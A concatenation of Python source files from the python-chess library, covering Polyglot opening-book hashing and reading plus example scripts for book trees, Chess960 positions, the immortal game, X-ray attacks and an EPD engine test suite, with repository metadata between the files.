0x64972D68DEE33360, 0x94628D38D0C20584, 0xDBC0D2B6AB90A559, 0xD2733C4335C6A72F, 0x7E75D99D94A70F4D, 0x6CED1983376FA72B, 0x97FCAACBF030BC24, 0x7B77497B32503B12, 0x8547EDDFB81CCB94, 0x79999CDFF70902CB, 0xCFFE1939438E9B24, 0x829626E3892D95D7, 0x92FAE24291F2B3F1, 0x63E22C147B9C3403, 0xC678B6D860284A1C, 0x5873888850659AE7, 0x0981DCD296A8736D, 0x9F65789A6509A440, 0x9FF38FED72E9052F, 0xE479EE5B9930578C, 0xE7F28ECD2D49EECD, 0x56C074A581EA17FE, 0x5544F7D774B14AEF, 0x7B3F0195FC6F290F, 0x12153635B2C0CF57, 0x7F5126DBBA5E0CA7, 0x7A76956C3EAFB413, 0x3D5774A11D31AB39, 0x8A1B083821F40CB4, 0x7B4A38E32537DF62, 0x950113646D1D6E03, 0x4DA8979A0041E8A9, 0x3BC36E078F7515D7, 0x5D0A12F27AD310D1, 0x7F9D1A2E1EBE1327, 0xDA3A361B1C5157B1, 0xDCDD7D20903D0C25, 0x36833336D068F707, 0xCE68341F79893389, 0xAB9090168DD05F34, 0x43954B3252DC25E5, 0xB438C2B67F98E5E9, 0x10DCD78E3851A492, 0xDBC27AB5447822BF, 0x9B3CDB65F82CA382, 0xB67B7896167B4C84, 0xBFCED1B0048EAC50, 0xA9119B60369FFEBD, 0x1FFF7AC80904BF45, 0xAC12FB171817EEE7, 0xAF08DA9177DDA93D, 0x1B0CAB936E65C744, 0xB559EB1D04E5E932, 0xC37B45B3F8D6F2BA, 0xC3A9DC228CAAC9E9, 0xF3B8B6675A6507FF, 0x9FC477DE4ED681DA, 0x67378D8ECCEF96CB, 0x6DD856D94D259236, 0xA319CE15B0B4DB31, 0x073973751F12DD5E, 0x8A8E849EB32781A5, 0xE1925C71285279F5, 0x74C04BF1790C0EFE, 0x4DDA48153C94938A, 0x9D266D6A1CC0542C, 0x7440FB816508C4FE, 0x13328503DF48229F, 0xD6BF7BAEE43CAC40, 0x4838D65F6EF6748F, 0x1E152328F3318DEA, 0x8F8419A348F296BF, 0x72C8834A5957B511, 0xD7A023A73260B45C, 0x94EBC8ABCFB56DAE, 0x9FC10D0F989993E0, 0xDE68A2355B93CAE6, 0xA44CFE79AE538BBE, 0x9D1D84FCCE371425, 0x51D2B1AB2DDFB636, 0x2FD7E4B9E72CD38C, 0x65CA5B96B7552210, 0xDD69A0D8AB3B546D, 0x604D51B25FBF70E2, 0x73AA8A564FB7AC9E, 0x1A8C1E992B941148, 0xAAC40A2703D9BEA0, 0x764DBEAE7FA4F3A6, 0x1E99B96E70A9BE8B, 0x2C5E9DEB57EF4743, 0x3A938FEE32D29981, 0x26E6DB8FFDF5ADFE, 0x469356C504EC9F9D, 0xC8763C5B08D1908C, 0x3F6C6AF859D80055, 0x7F7CC39420A3A545, 0x9BFB227EBDF4C5CE, 0x89039D79D6FC5C5C, 0x8FE88B57305E2AB6, 0xA09E8C8C35AB96DE, 0xFA7E393983325753, 0xD6B6D0ECC617C699, 0xDFEA21EA9E7557E3, 0xB67C1FA481680AF8, 0xCA1E3785A9E724E5, 0x1CFC8BED0D681639, 0xD18D8549D140CAEA, 0x4ED0FE7E9DC91335, 0xE4DBF0634473F5D2, 0x1761F93A44D5AEFE, 0x53898E4C3910DA55, 0x734DE8181F6EC39A, 0x2680B122BAA28D97, 0x298AF231C85BAFAB, 0x7983EED3740847D5, 0x66C1A2A1A60CD889, 0x9E17E49642A3E4C1, 0xEDB454E7BADC0805, 0x50B704CAB602C329, 0x4CC317FB9CDDD023, 0x66B4835D9EAFEA22, 0x219B97E26FFC81BD, 0x261E4E4C0A333A9D, 0x1FE2CCA76517DB90, 0xD7504DFA8816EDBB, 0xB9571FA04DC089C8, 0x1DDC0325259B27DE, 0xCF3F4688801EB9AA, 0xF4F5D05C10CAB243, 0x38B6525C21A42B0E, 0x36F60E2BA4FA6800, 0xEB3593803173E0CE, 0x9C4CD6257C5A3603, 0xAF0C317D32ADAA8A, 0x258E5A80C7204C4B, 0x8B889D624D44885D, 0xF4D14597E660F855, 0xD4347F66EC8941C3, 0xE699ED85B0DFB40D, 0x2472F6207C2D0484, 0xC2A1E7B5B459AEB5, 0xAB4F6451CC1D45EC, 0x63767572AE3D6174, 0xA59E0BD101731A28, 0x116D0016CB948F09, 0x2CF9C8CA052F6E9F, 0x0B090A7560A968E3, 0xABEEDDB2DDE06FF1, 0x58EFC10B06A2068D, 0xC6E57A78FBD986E0, 0x2EAB8CA63CE802D7, 0x14A195640116F336, 0x7C0828DD624EC390, 0xD74BBE77E6116AC7, 0x804456AF10F5FB53, 0xEBE9EA2ADF4321C7, 0x03219A39EE587A30, 0x49787FEF17AF9924, 0xA1E9300CD8520548, 0x5B45E522E4B1B4EF, 0xB49C3B3995091A36, 0xD4490AD526F14431, 0x12A8F216AF9418C2, 0x001F837CC7350524, 0x1877B51E57A764D5, 0xA2853B80F17F58EE, 0x993E1DE72D36D310, 0xB3598080CE64A656, 0x252F59CF0D9F04BB, 0xD23C8E176D113600, 0x1BDA0492E7E4586E, 0x21E0BD5026C619BF, 0x3B097ADAF088F94E, 0x8D14DEDB30BE846E, 0xF95CFFA23AF5F6F4, 0x3871700761B3F743, 0xCA672B91E9E4FA16, 0x64C8E531BFF53B55, 0x241260ED4AD1E87D, 0x106C09B972D2E822, 0x7FBA195410E5CA30, 0x7884D9BC6CB569D8, 0x0647DFEDCD894A29, 0x63573FF03E224774, 0x4FC8E9560F91B123, 0x1DB956E450275779, 0xB8D91274B9E9D4FB, 0xA2EBEE47E2FBFCE1, 0xD9F1F30CCD97FB09, 0xEFED53D75FD64E6B, 0x2E6D02C36017F67F, 0xA9AA4D20DB084E9B, 0xB64BE8D8B25396C1, 0x70CB6AF7C2D5BCF0, 0x98F076A4F7A2322E, 0xBF84470805E69B5F, 0x94C3251F06F90CF3, 0x3E003E616A6591E9, 0xB925A6CD0421AFF3, 0x61BDD1307C66E300, 0xBF8D5108E27E0D48, 0x240AB57A8B888B20, 0xFC87614BAF287E07, 0xEF02CDD06FFDB432, 0xA1082C0466DF6C0A, 0x8215E577001332C8, 0xD39BB9C3A48DB6CF, 0x2738259634305C14, 0x61CF4F94C97DF93D, 0x1B6BACA2AE4E125B, 0x758F450C88572E0B, 0x959F587D507A8359, 0xB063E962E045F54D, 0x60E8ED72C0DFF5D1, 0x7B64978555326F9F, 0xFD080D236DA814BA, 0x8C90FD9B083F4558, 0x106F72FE81E2C590, 0x7976033A39F7D952, 0xA4EC0132764CA04B, 0x733EA705FAE4FA77, 0xB4D8F77BC3E56167, 0x9E21F4F903B33FD9, 0x9D765E419FB69F6D, 0xD30C088BA61EA5EF, 0x5D94337FBFAF7F5B, 0x1A4E4822EB4D7A59, 0x6FFE73E81B637FB3, 0xDDF957BC36D8B9CA, 0x64D0E29EEA8838B3, 0x08DD9BDFD96B9F63, 0x087E79E5A57D1D13, 0xE328E230E3E2B3FB, 0x1C2559E30F0946BE, 0x720BF5F26F4D2EAA, 0xB0774D261CC609DB, 0x443F64EC5A371195, 0x4112CF68649A260E, 0xD813F2FAB7F5C5CA, 0x660D3257380841EE, 0x59AC2C7873F910A3, 0xE846963877671A17, 0x93B633ABFA3469F8, 0xC0C0F5A60EF4CDCF, 0xCAF21ECD4377B28C, 0x57277707199B8175, 0x506C11B9D90E8B1D, 0xD83CC2687A19255F, 0x4A29C6465A314CD1, 0xED2DF21216235097, 0xB5635C95FF7296E2, 0x22AF003AB672E811, 0x52E762596BF68235, 0x9AEBA33AC6ECC6B0, 0x944F6DE09134DFB6, 0x6C47BEC883A7DE39, 0x6AD047C430A12104, 0xA5B1CFDBA0AB4067, 0x7C45D833AFF07862, 0x5092EF950A16DA0B, 0x9338E69C052B8E7B, 0x455A4B4CFE30E3F5, 0x6B02E63195AD0CF8, 0x6B17B224BAD6BF27, 0xD1E0CCD25BB9C169, 0xDE0C89A556B9AE70, 0x50065E535A213CF6, 0x9C1169FA2777B874, 0x78EDEFD694AF1EED, 0x6DC93D9526A50E68, 0xEE97F453F06791ED, 0x32AB0EDB696703D3, 0x3A6853C7E70757A7, 0x31865CED6120F37D, 0x67FEF95D92607890, 0x1F2B1D1F15F6DC9C, 0xB69E38A8965C6B65, 0xAA9119FF184CCCF4, 0xF43C732873F24C13, 0xFB4A3D794A9A80D2, 0x3550C2321FD6109C, 0x371F77E76BB8417E, 0x6BFA9AAE5EC05779, 0xCD04F3FF001A4778, 0xE3273522064480CA, 0x9F91508BFFCFC14A, 0x049A7F41061A9E60, 0xFCB6BE43A9F2FE9B, 0x08DE8A1C7797DA9B, 0x8F9887E6078735A1, 0xB5B4071DBFC73A66, 0x230E343DFBA08D33, 0x43ED7F5A0FAE657D, 0x3A88A0FBBCB05C63, 0x21874B8B4D2DBC4F, 0x1BDEA12E35F6A8C9, 0x53C065C6C8E63528, 0xE34A1D250E7A8D6B, 0xD6B04D3B7651DD7E, 0x5E90277E7CB39E2D, 0x2C046F22062DC67D, 0xB10BB459132D0A26, 0x3FA9DDFB67E2F199, 0x0E09B88E1914F7AF, 0x10E8B35AF3EEAB37, 0x9EEDECA8E272B933, 0xD4C718BC4AE8AE5F, 0x81536D601170FC20, 0x91B534F885818A06, 0xEC8177F83F900978, 0x190E714FADA5156E, 0xB592BF39B0364963, 0x89C350C893AE7DC1, 0xAC042E70F8B383F2, 0xB49B52E587A1EE60, 0xFB152FE3FF26DA89, 0x3E666E6F69AE2C15, 0x3B544EBE544C19F9, 0xE805A1E290CF2456, 0x24B33C9D7ED25117, 0xE74733427B72F0C1, 0x0A804D18B7097475, 0x57E3306D881EDB4F, 0x4AE7D6A36EB5DBCB, 0x2D8D5432157064C8, 0xD1E649DE1E7F268B, 0x8A328A1CEDFE552C, 0x07A3AEC79624C7DA, 0x84547DDC3E203C94, 0x990A98FD5071D263, 0x1A4FF12616EEFC89, 0xF6F7FD1431714200, 0x30C05B1BA332F41C, 0x8D2636B81555A786, 0x46C9FEB55D120902, 0xCCEC0A73B49C9921, 0x4E9D2827355FC492, 0x19EBB029435DCB0F, 0x4659D2B743848A2C, 0x963EF2C96B33BE31, 0x74F85198B05A2E7D, 0x5A0F544DD2B1FB18, 0x03727073C2E134B1, 0xC7F6AA2DE59AEA61, 0x352787BAA0D7C22F, 0x9853EAB63B5E0B35, 0xABBDCDD7ED5C0860, 0xCF05DAF5AC8D77B0, 0x49CAD48CEBF4A71E, 0x7A4C10EC2158C4A6, 0xD9E92AA246BF719E, 0x13AE978D09FE5557, 0x730499AF921549FF, 0x4E4B705B92903BA4, 0xFF577222C14F0A3A, 0x55B6344CF97AAFAE, 0xB862225B055B6960, 0xCAC09AFBDDD2CDB4, 0xDAF8E9829FE96B5F, 0xB5FDFC5D3132C498, 0x310CB380DB6F7503, 0xE87FBB46217A360E, 0x2102AE466EBB1148, 0xF8549E1A3AA5E00D, 0x07A69AFDCC42261A, 0xC4C118BFE78FEAAE, 0xF9F4892ED96BD438, 0x1AF3DBE25D8F45DA, 0xF5B4B0B0D2DEEEB4, 0x962ACEEFA82E1C84, 0x046E3ECAAF453CE9, 0xF05D129681949A4C, 0x964781CE734B3C84, 0x9C2ED44081CE5FBD, 0x522E23F3925E319E, 0x177E00F9FC32F791, 0x2BC60A63A6F3B3F2, 0x222BBFAE61725606, 0x486289DDCC3D6780, 0x7DC7785B8EFDFC80, 0x8AF38731C02BA980, 0x1FAB64EA29A2DDF7, 0xE4D9429322CD065A, 0x9DA058C67844F20C, 0x24C0E332B70019B0, 0x233003B5A6CFE6AD, 0xD586BD01C5C217F6, 0x5E5637885F29BC2B, 0x7EBA726D8C94094B, 0x0A56A5F0BFE39272, 0xD79476A84EE20D06, 0x9E4C1269BAA4BF37, 0x17EFEE45B0DEE640, 0x1D95B0A5FCF90BC6, 0x93CBE0B699C2585D, 0x65FA4F227A2B6D79, 0xD5F9E858292504D5, 0xC2B5A03F71471A6F, 0x59300222B4561E00, 0xCE2F8642CA0712DC, 0x7CA9723FBB2E8988, 0x2785338347F2BA08, 0xC61BB3A141E50E8C, 0x150F361DAB9DEC26, 0x9F6A419D382595F4, 0x64A53DC924FE7AC9, 0x142DE49FFF7A7C3D, 0x0C335248857FA9E7, 0x0A9C32D5EAE45305, 0xE6C42178C4BBB92E, 0x71F1CE2490D20B07, 0xF1BCC3D275AFE51A, 0xE728E8C83C334074, 0x96FBF83A12884624, 0x81A1549FD6573DA5, 0x5FA7867CAF35E149, 0x56986E2EF3ED091B, 0x917F1DD5F8886C61, 0xD20D8C88C8FFE65F, 0x31D71DCE64B2C310, 0xF165B587DF898190, 0xA57E6339DD2CF3A0, 0x1EF6E6DBB1961EC9, 0x70CC73D90BC26E24, 0xE21A6B35DF0C3AD7, 0x003A93D8B2806962, 0x1C99DED33CB890A1, 0xCF3145DE0ADD4289, 0xD0E4427A5514FB72, 0x77C621CC9FB3A483, 0x67A34DAC4356550B, 0xF8D626AAAF278509 ] class ZobristHasher: def __init__(self, array: List[int]) -> None: assert len(array) >= 781 self.array = array def hash_board(self, board: chess.BaseBoard) -> int: zobrist_hash = 0 for pivot, squares in enumerate(board.occupied_co): for square in chess.scan_reversed(squares): piece_index = (typing.cast(chess.PieceType, board.piece_type_at(square)) - 1) * 2 + pivot zobrist_hash ^= self.array[64 * piece_index + square] return zobrist_hash def hash_castling(self, board: chess.Board) -> int: zobrist_hash = 0 # Hash in the castling flags. if board.has_kingside_castling_rights(chess.WHITE): zobrist_hash ^= self.array[768] if board.has_queenside_castling_rights(chess.WHITE): zobrist_hash ^= self.array[768 + 1] if board.has_kingside_castling_rights(chess.BLACK): zobrist_hash ^= self.array[768 + 2] if board.has_queenside_castling_rights(chess.BLACK): zobrist_hash ^= self.array[768 + 3] return zobrist_hash def hash_ep_square(self, board: chess.Board) -> int: # Hash in the en passant file. if board.ep_square: # But only if there's actually a pawn ready to capture it. Legality # of the potential capture is irrelevant. if board.turn == chess.WHITE: ep_mask = chess.shift_down(chess.BB_SQUARES[board.ep_square]) else: ep_mask = chess.shift_up(chess.BB_SQUARES[board.ep_square]) ep_mask = chess.shift_left(ep_mask) | chess.shift_right(ep_mask) if ep_mask & board.pawns & board.occupied_co[board.turn]: return self.array[772 + chess.square_file(board.ep_square)] return 0 def hash_turn(self, board: chess.Board) -> int: # Hash in the turn. return self.array[780] if board.turn == chess.WHITE else 0 def __call__(self, board: chess.Board) -> int: return (self.hash_board(board) ^ self.hash_castling(board) ^ self.hash_ep_square(board) ^ self.hash_turn(board)) def zobrist_hash(board: chess.Board, *, _hasher: Callable[[chess.Board], int] = ZobristHasher(POLYGLOT_RANDOM_ARRAY)) -> int: """ Calculates the Polyglot Zobrist hash of the position. A Zobrist hash is an XOR of pseudo-random values picked from an array. Which values are picked is decided by features of the position, such as piece positions, castling rights and en passant squares. """ return _hasher(board) class Entry(NamedTuple): """An entry from a Polyglot opening book.""" key: int """The Zobrist hash of the position.""" raw_move: int """ The raw binary representation of the move. Use :data:`~chess.polyglot.Entry.move` instead. """ weight: int """An integer value that can be used as the weight for this entry.""" learn: int """Another integer value that can be used for extra information.""" move: chess.Move """The :class:`~chess.Move`.""" class _EmptyMmap(bytearray): def size(self) -> int: return 0 def close(self) -> None: pass def madvise(self, option: int) -> None: pass def _randint(rng: Optional[random.Random], a: int, b: int) -> int: return random.randint(a, b) if rng is None else rng.randint(a, b) class MemoryMappedReader: """Maps a Polyglot opening book to memory.""" def __init__(self, filename: StrOrBytesPath) -> None: fd = os.open(filename, os.O_RDONLY | os.O_BINARY if hasattr(os, "O_BINARY") else os.O_RDONLY) try: self.mmap: Union[mmap.mmap, _EmptyMmap] = mmap.mmap(fd, 0, access=mmap.ACCESS_READ) except (ValueError, OSError): self.mmap = _EmptyMmap() # Workaround for empty opening books. finally: os.close(fd) if self.mmap.size() % ENTRY_STRUCT.size != 0: raise IOError(f"invalid file size: ensure {filename!r} is a valid polyglot opening book") try: # Unix self.mmap.madvise(mmap.MADV_RANDOM) except AttributeError: pass def __enter__(self) -> MemoryMappedReader: return self def __exit__(self, exc_type: Optional[Type[BaseException]], exc_value: Optional[BaseException], traceback: Optional[TracebackType]) -> None: return self.close() def __len__(self) -> int: return self.mmap.size() // ENTRY_STRUCT.size def __getitem__(self, index: int) -> Entry: if index < 0: index = len(self) + index try: key, raw_move, weight, learn = ENTRY_STRUCT.unpack_from(self.mmap, index * ENTRY_STRUCT.size) except struct.error: raise IndexError() # Extract source and target square. to_square = raw_move & 0x3f from_square = (raw_move >> 6) & 0x3f # Extract the promotion type. promotion_part = (raw_move >> 12) & 0x7 promotion = promotion_part + 1 if promotion_part else None # Piece drop. if from_square == to_square: promotion, drop = None, promotion else: drop = None # Entry with move (not normalized). move = chess.Move(from_square, to_square, promotion, drop) return Entry(key, raw_move, weight, learn, move) def __iter__(self) -> Iterator[Entry]: for i in range(len(self)): yield self[i] def bisect_key_left(self, key: int) -> int: lo = 0 hi = len(self) while lo < hi: mid = (lo + hi) // 2 mid_key, _, _, _ = ENTRY_STRUCT.unpack_from(self.mmap, mid * ENTRY_STRUCT.size) if mid_key < key: lo = mid + 1 else: hi = mid return lo def __contains__(self, entry: Entry) -> bool: return any(current == entry for current in self.find_all(entry.key, minimum_weight=entry.weight)) def find_all(self, board: Union[chess.Board, int], *, minimum_weight: int = 1, exclude_moves: Container[chess.Move] = []) -> Iterator[Entry]: """Seeks a specific position and yields corresponding entries.""" try: key = int(board) # type: ignore context: Optional[chess.Board] = None except (TypeError, ValueError): context = typing.cast(chess.Board, board) key = zobrist_hash(context) i = self.bisect_key_left(key) size = len(self) while i < size: entry = self[i] i += 1 if entry.key != key: break if entry.weight < minimum_weight: continue if context: move = context._from_chess960(context.chess960, entry.move.from_square, entry.move.to_square, entry.move.promotion, entry.move.drop) entry = Entry(entry.key, entry.raw_move, entry.weight, entry.learn, move) if exclude_moves and entry.move in exclude_moves: continue if context and not context.is_legal(entry.move): continue yield entry def find(self, board: Union[chess.Board, int], *, minimum_weight: int = 1, exclude_moves: Container[chess.Move] = []) -> Entry: """ Finds the main entry for the given position or Zobrist hash. The main entry is the (first) entry with the highest weight. By default, entries with weight ``0`` are excluded. This is a common way to delete entries from an opening book without compacting it. Pass *minimum_weight* ``0`` to select all entries. :raises: :exc:`IndexError` if no entries are found. Use :func:`~chess.polyglot.MemoryMappedReader.get()` if you prefer to get ``None`` instead of an exception. """ try: return max(self.find_all(board, minimum_weight=minimum_weight, exclude_moves=exclude_moves), key=lambda entry: entry.weight) except ValueError: raise IndexError() def get(self, board: Union[chess.Board, int], default: Optional[Entry] = None, *, minimum_weight: int = 1, exclude_moves: Container[chess.Move] = []) -> Optional[Entry]: try: return self.find(board, minimum_weight=minimum_weight, exclude_moves=exclude_moves) except IndexError: return default def choice(self, board: Union[chess.Board, int], *, minimum_weight: int = 1, exclude_moves: Container[chess.Move] = [], random: Optional[random.Random] = None) -> Entry: """ Uniformly selects a random entry for the given position. :raises: :exc:`IndexError` if no entries are found. """ chosen_entry = None for i, entry in enumerate(self.find_all(board, minimum_weight=minimum_weight, exclude_moves=exclude_moves)): if chosen_entry is None or _randint(random, 0, i) == i: chosen_entry = entry if chosen_entry is None: raise IndexError() return chosen_entry def weighted_choice(self, board: Union[chess.Board, int], *, exclude_moves: Container[chess.Move] = [], random: Optional[random.Random] = None) -> Entry: """ Selects a random entry for the given position, distributed by the weights of the entries. :raises: :exc:`IndexError` if no entries are found. """ total_weights = sum(entry.weight for entry in self.find_all(board, exclude_moves=exclude_moves)) if not total_weights: raise IndexError() choice = _randint(random, 0, total_weights - 1) current_sum = 0 for entry in self.find_all(board, exclude_moves=exclude_moves): current_sum += entry.weight if current_sum > choice: return entry assert False def close(self) -> None: """Closes the reader.""" self.mmap.close() def open_reader(path: StrOrBytesPath) -> MemoryMappedReader: """ Creates a reader for the file at the given path. The following example opens a book to find all entries for the start position: >>> import chess >>> import chess.polyglot >>> >>> board = chess.Board() >>> >>> with chess.polyglot.open_reader("data/polyglot/performance.bin") as reader: ... for entry in reader.find_all(board): ... print(entry.move, entry.weight, entry.learn) e2e4 1 0 d2d4 1 0 c2c4 1 0 """ return MemoryMappedReader(path)
27,418
Python
.py
438
55.388128
173
0.768888
niklasf/python-chess
2,384
520
22
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,424
polyglot_tree.py
niklasf_python-chess/examples/polyglot_tree.py
#!/usr/bin/env python3 """Print a Polyglot opening book in tree form.""" import argparse from typing import Set import chess import chess.polyglot def print_tree(args: argparse.Namespace, visited: Set[int], level: int = 0) -> None: if level >= args.depth: return zobrist_hash = chess.polyglot.zobrist_hash(args.board) if zobrist_hash in visited: return visited.add(zobrist_hash) for entry in args.book.find_all(zobrist_hash): print("{}├─ \033[1m{}\033[0m (weight: {}, learn: {})".format( "| " * level, args.board.san(entry.move), entry.weight, entry.learn)) args.board.push(entry.move) print_tree(args, visited, level + 1) args.board.pop() if __name__ == "__main__": parser = argparse.ArgumentParser(description=__doc__) parser.add_argument("book", type=chess.polyglot.open_reader) parser.add_argument("--depth", type=int, default=5) parser.add_argument("--fen", type=chess.Board, default=chess.Board(), dest="board") args = parser.parse_args() print_tree(args, visited=set())
1,134
Python
.py
29
32.724138
87
0.644628
niklasf/python-chess
2,384
520
22
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,425
chess960_pos_list.py
niklasf_python-chess/examples/chess960_pos_list.py
#!/usr/bin/env python3 """List all Chess960 starting positions.""" import sys import timeit import chess def main(bench_only: bool = False) -> None: board = chess.Board.empty(chess960=True) for scharnagl in range(0, 960): board.set_chess960_pos(scharnagl) if not bench_only: print(str(scharnagl).rjust(3), board.fen()) if __name__ == "__main__": if "bench" in sys.argv: print(timeit.timeit( stmt="main(bench_only=True)", setup="from __main__ import main", number=10)) else: main()
585
Python
.py
19
24.315789
55
0.609319
niklasf/python-chess
2,384
520
22
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,426
push_san.py
niklasf_python-chess/examples/push_san.py
#!/usr/bin/env python3 """Play the immortal game using push_san() from chess.Board().""" import chess import timeit def play_immortal_game() -> None: board = chess.Board() # 1. e4 e5 board.push_san("e4") board.push_san("e5") # 2. f4 exf4 board.push_san("f4") board.push_san("exf4") # 3. Bc4 Qh4+ board.push_san("Bc4") board.push_san("Qh4+") # 4. Kf1 b5?! board.push_san("Kf1") board.push_san("b5") # 5. Bxb5 Nf6 board.push_san("Bxb5") board.push_san("Nf6") # 6. Nf3 Qh6 board.push_san("Nf3") board.push_san("Qh6") # 7. d3 Nh5 board.push_san("d3") board.push_san("Nh5") # 8. Nh4 Qg5 board.push_san("Nh4") board.push_san("Qg5") # 9. Nf5 c6 board.push_san("Nf5") board.push_san("c6") # 10. g4 Nf6 board.push_san("g4") board.push_san("Nf6") # 11. Rg1! cxb5? board.push_san("Rg1") board.push_san("cxb5") # 12. h4! Qg6 board.push_san("h4") board.push_san("Qg6") # 13. h5 Qg5 board.push_san("h5") board.push_san("Qg5") # 14. Qf3 Ng8 board.push_san("Qf3") board.push_san("Ng8") # 15. Bxf4 Qf6 board.push_san("Bxf4") board.push_san("Qf6") # 16. Nc3 Bc5 board.push_san("Nc3") board.push_san("Bc5") # 17. Nd5 Qxb2 board.push_san("Nd5") board.push_san("Qxb2") # 18. Bd6! Bxg1? board.push_san("Bd6") board.push_san("Bxg1") # 19. e5! Qxa1+ board.push_san("e5") board.push_san("Qxa1+") # 20. Ke2 Na6 board.push_san("Ke2") board.push_san("Na6") # 21. Nxg7+ Kd8 board.push_san("Nxg7+") board.push_san("Kd8") # 22. Qf6+! Nxf6 board.push_san("Qf6+") board.push_san("Nxf6") # 23. Be7# 1-0 board.push_san("Be7#") assert board.is_checkmate() if __name__ == "__main__": print(timeit.timeit( stmt="play_immortal_game()", setup="from __main__ import play_immortal_game", number=100))
1,996
Python
.py
80
19.7375
65
0.573397
niklasf/python-chess
2,384
520
22
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,427
xray_attacks.py
niklasf_python-chess/examples/xray_attacks.py
#!/usr/bin/env python3 """Compute X-ray attacks through more valuable pieces.""" import chess def xray_rook_attackers(board: chess.Board, color: chess.Color, square: chess.Square) -> chess.SquareSet: occupied = board.occupied rank_pieces = chess.BB_RANK_MASKS[square] & occupied file_pieces = chess.BB_FILE_MASKS[square] & occupied # Find the closest piece for each direction. These may block attacks. blockers = chess.BB_RANK_ATTACKS[square][rank_pieces] | chess.BB_FILE_ATTACKS[square][file_pieces] # Only consider blocking pieces of the victim that are more valuable # than rooks. blockers &= board.occupied_co[not color] & (board.queens | board.kings) # Now just ignore those blocking pieces. occupied ^= blockers # And compute rook attacks. rank_pieces = chess.BB_RANK_MASKS[square] & occupied file_pieces = chess.BB_FILE_MASKS[square] & occupied return chess.SquareSet(board.occupied_co[color] & board.rooks & ( chess.BB_RANK_ATTACKS[square][rank_pieces] | chess.BB_FILE_ATTACKS[square][file_pieces])) def xray_bishop_attackers(board: chess.Board, color: chess.Color, square: chess.Square) -> chess.SquareSet: occupied = board.occupied diag_pieces = chess.BB_DIAG_MASKS[square] & occupied # Find the closest piece for each direction. These may block attacks. blockers = chess.BB_DIAG_ATTACKS[square][diag_pieces] # Only consider blocking pieces of the victim that are more valuable # than bishops. blockers &= board.occupied_co[not color] & (board.rooks | board.queens | board.kings) # Now just ignore those blocking pieces. occupied ^= blockers # And compute bishop attacks. diag_pieces = chess.BB_DIAG_MASKS[square] & occupied return chess.SquareSet(board.occupied_co[color] & board.bishops & chess.BB_DIAG_ATTACKS[square][diag_pieces]) def example() -> None: board = chess.Board("r3k2r/pp3p2/4p2Q/4q1p1/4P3/P2PK3/6PP/R3R3 w q - 1 2") print("rook x-ray, black, h3:") print(xray_rook_attackers(board, chess.BLACK, chess.H3)) board = chess.Board("r1b1r1k1/pp1n1pbp/1qp3p1/B2p4/3P4/Q3PN2/PP2BPPP/R4RK1 b - - 0 1") print("bishop x-ray, white, d8:") print(xray_bishop_attackers(board, chess.WHITE, chess.D8)) if __name__ == "__main__": example()
2,316
Python
.py
42
50.166667
113
0.715743
niklasf/python-chess
2,384
520
22
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,428
bratko_kopec.py
niklasf_python-chess/examples/bratko_kopec/bratko_kopec.py
#!/usr/bin/env python3 """Run an EPD test suite with a UCI engine.""" import asyncio import argparse import itertools import logging import sys import typing from typing import List, Tuple, Type import chess import chess.engine import chess.variant def parse_epd(epd: str, VariantBoard: Type[chess.Board]) -> Tuple[chess.Board, str, List[chess.Move], List[chess.Move]]: board, epd_info = VariantBoard.from_epd(epd) description = str(epd_info.get("id", board.fen())) if "am" in epd_info: am = typing.cast(List[chess.Move], epd_info["am"]) description = "{} (avoid {})".format(description, " and ".join(board.san(m) for m in am)) else: am = [] if "bm" in epd_info: bm = typing.cast(List[chess.Move], epd_info["bm"]) description = "{} (expect {})".format(description, " or ".join(board.san(m) for m in bm)) else: bm = [] return board, description, am, bm async def test_epd(engine: chess.engine.Protocol, epd: str, VariantBoard: Type[chess.Board], movetime: float) -> float: board, description, am, bm = parse_epd(epd, VariantBoard) limit = chess.engine.Limit(time=movetime) result = await engine.play(board, limit, game=object()) if not result.move: print(f"{description}: -- | +0") return 0.0 elif result.move in am: print(f"{description}: {board.san(result.move)} | +0") return 0.0 elif bm and result.move not in bm: print(f"{description}: {board.san(result.move)} | +0") return 0.0 else: print(f"{description}: {board.san(result.move)} | +1") return 1.0 async def test_epd_with_fractional_scores(engine: chess.engine.Protocol, epd: str, VariantBoard: Type[chess.Board], movetime: float) -> float: board, description, am, bm = parse_epd(epd, VariantBoard) # Start analysis. score = 0.0 print(f"{description}:", end=" ", flush=True) analysis = await engine.analysis(board, game=object()) with analysis: for step in range(0, 4): await asyncio.sleep(movetime / 4) # Assess the current principal variation. if "pv" in analysis.info and len(analysis.info["pv"]) >= 1: move = analysis.info["pv"][0] print(board.san(move), end=" ", flush=True) if move in am: continue # fail elif bm and move not in bm: continue # fail else: score = 1.0 / (4 - step) else: print("(no pv)", end=" ", flush=True) # Done. print(f"| +{score}") return score async def main() -> None: # Parse command line arguments. parser = argparse.ArgumentParser(description=__doc__) engine_group = parser.add_mutually_exclusive_group(required=True) engine_group.add_argument("-u", "--uci", help="The UCI engine under test.") engine_group.add_argument("-x", "--xboard", help="The XBoard engine under test.") parser.add_argument("epd", nargs="+", type=argparse.FileType("r"), help="EPD test suite(s).") parser.add_argument("-v", "--variant", default="standard", help="Use a non-standard chess variant.") parser.add_argument("-t", "--threads", default=1, type=int, help="Threads for use by the UCI engine.") parser.add_argument("-m", "--movetime", default=1.0, type=float, help="Time to move in seconds.") parser.add_argument("-s", "--simple", dest="test_epd", action="store_const", default=test_epd_with_fractional_scores, const=test_epd, help="Run in simple mode without fractional scores.") parser.add_argument("-d", "--debug", action="store_true", help="Show debug logs.") args = parser.parse_args() # Configure logger. logging.basicConfig(level=logging.DEBUG if args.debug else logging.WARNING) # Find variant. VariantBoard = chess.variant.find_variant(args.variant) # Open and configure engine. engine: chess.engine.Protocol if args.uci: _, engine = await chess.engine.popen_uci(args.uci) if args.threads > 1: await engine.configure({"Threads": args.threads}) else: _, engine = await chess.engine.popen_xboard(args.xboard) if args.threads > 1: await engine.configure({"cores": args.threads}) # Run each test line. score = 0.0 count = 0 for epd in itertools.chain(*args.epd): # Skip comments and empty lines. epd = epd.strip() if not epd or epd.startswith("#") or epd.startswith("%"): print(epd.rstrip()) continue # Run the actual test. score += await args.test_epd(engine, epd, VariantBoard, args.movetime) count += 1 await engine.quit() print("-------------------------------") print(f"{score} / {count}") if __name__ == "__main__": 